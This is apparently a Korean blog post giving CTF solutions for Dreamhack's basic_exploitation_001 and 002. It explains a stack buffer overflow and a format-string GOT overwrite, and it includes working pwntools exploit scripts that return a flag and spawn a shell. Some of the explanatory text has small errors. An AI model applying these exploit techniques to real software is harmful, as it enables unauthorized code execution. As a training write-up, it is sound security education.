- basic_exploitation_001

주어진 파일을 다운받아 열어보면 아래의 소스코드를 확인할 수 있다.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void read_flag() {
system("cat /flag");
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
gets(buf);
return 0;
}
: main 함수를 먼저 살펴보자. buf에 0x80(128)만큼 할당하고, initialize 함수를 실행시킨 후 gets로 buf에 입력을 받는다.
소스코드를 전반적으로 살펴봤을 때 buffer overflow를 이용하여 풀이를 진행하는 문제임을 짐작할 수 있다.
ret 값에 read_flag 함수의 주소를 넣어 flag 값을 얻을 것 수 있을 것이다.
스택의 기본 구조는 buffer + SFP + ret 으로 총 132 바이트임을 알 수 있다.
| buffer(128byte) | sfp(4byte) | ret(4byte) |
이 때문에 buffer overflow가 일어나 buffer가 모두 채워져 ret 값에 flag 호출되게 하려면 132바이트를 gets로 입력해야한다. 여기서 ret 주소 대신 read_flag 함수 주소값을 넣어 줘야 하는데 read_flag 주소값은 gdb를 통해서 확인 할 수 있다.

: read_flag의 주소값은 0x080485b9 로 다음과 같은 페이로드를 작성하면 된다.
from pwn import*
p = remote("host1.dreamhack.games", 12830)
read_flag_address = 0x80485B9
payload = "A"*132
payload += p32(read_flag_address)
p.sendline(payload)
p.interactive()
실행시킨 결과 다음과 같다.


flag가 잘 출력되어 해결되었음을 확인 할 수 있다.
- basic_exploitation_002

다음으로 basic_exploitation_002 문제 풀이를 해보려고 한다. 우선, 주어진 파일을 다운 받아서 소스코드를 살펴봤다.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
read(0, buf, 0x80);
printf(buf);
exit(0);
}
: 소스코드의 main 함수부터 보자면 buf 에 0x80(128)만큼 할당되고 initialize 함수가 실행되고, gets 로 buf 를 입력을 받는다.
여기서 printf(buf)에 원래 printf("%s", &buf) 이어야 하지만, printf(buf)로 되어 있어 Format String Bug 가 발생할 수 있다. FSB는 서식문자 입력시, 그 서식문자의 기능대로 출력한다는 문제점이 발생한다.
read 로 0x80(128)만큼 문자열을 입력받기 때문에, BOF 는 발생하지 않는다는 것을 알 수 있다.
get_shell 함수는 system 명령어로 /bin/sh 의 주소를 출력한다.
여기서 스택은 buf 의 128 바이트와 exit 로 구조가 되어있는데, buf 에 서식문자를 넣어서 FSB 를 발생시켜, get_shell 함수를 실행시킨다.
그러기 위해서는 exit(0) 을 활용해야 하는데, exit 의 GOT 를 get_shell 함수 주소로 Overwrite 해야한다.
이때 필요한 것은 exit 의 GOT 주소와 get_shell 함수의 주소이다.



: 4바이트 체제로 a 를 4번 입력하고 %x 를 입력함으로써 16진수로 출력하게 하며 첫 번째 %x 에서 aaaa 를 인자로 받는 것을 알 수 있다.
from pwn import*
p = remote("host1.dreamhack.games", 15758)
exit = 0x804a024
payload = p32(exit+2) + p32(exit) + "%2044c%1$hn%32261c%2$hn"
p.send(payload)
p.interactive()
페이로드를 작성하여 |exit_got+2(0x8004)| + |exit_got(0x8609)| + "%2044c%1$hn" + "%32261c%2$hn" 순으로 exit GOT 의 주소와 get_shell() 함수의 주소 (0x8048609)를 넣어준다.
%n 은 4바이트씩 인자에 작성해주는 기능으로 get_shell() 함수의 주소가 값이 크기 때문에 2바이트씩 나눠 전송하려고 %hn 을 사용한다.
이때 exit GOT 주소 작성에 8 바이트를 사용하여서 0x8 만큼 빼줘야한다.
0x804 = 2052 -> (0x804-0x8) = 2044
0x8609 - 0x804 = 32261
위의 값들 이후에 c 를 기입한 이유는 큰 수 사용 시 c 를 사용하기 때문이다.
그 후, sendline 를 통해 payload 의 값을 전송하고, interactive 를 통해 쉘에 접속한다.


실행을 하면, FLAG 값을 얻어 문제를 해결할 수 있다.
'문제 풀이' 카테고리의 다른 글
| [HackCTF] Beginner_Heap 문제 풀이 (0) | 2022.02.10 |
|---|---|
| [Dreamhack] basic_exploitation_003 문제 풀이 (0) | 2022.02.09 |
| [LOB]gremlin 문제 풀이 (0) | 2022.01.27 |
| [2022 CTF] 포너블 - Day2 (0) | 2022.01.26 |
| [2022 CTF] 포너블 - Day1 (0) | 2022.01.25 |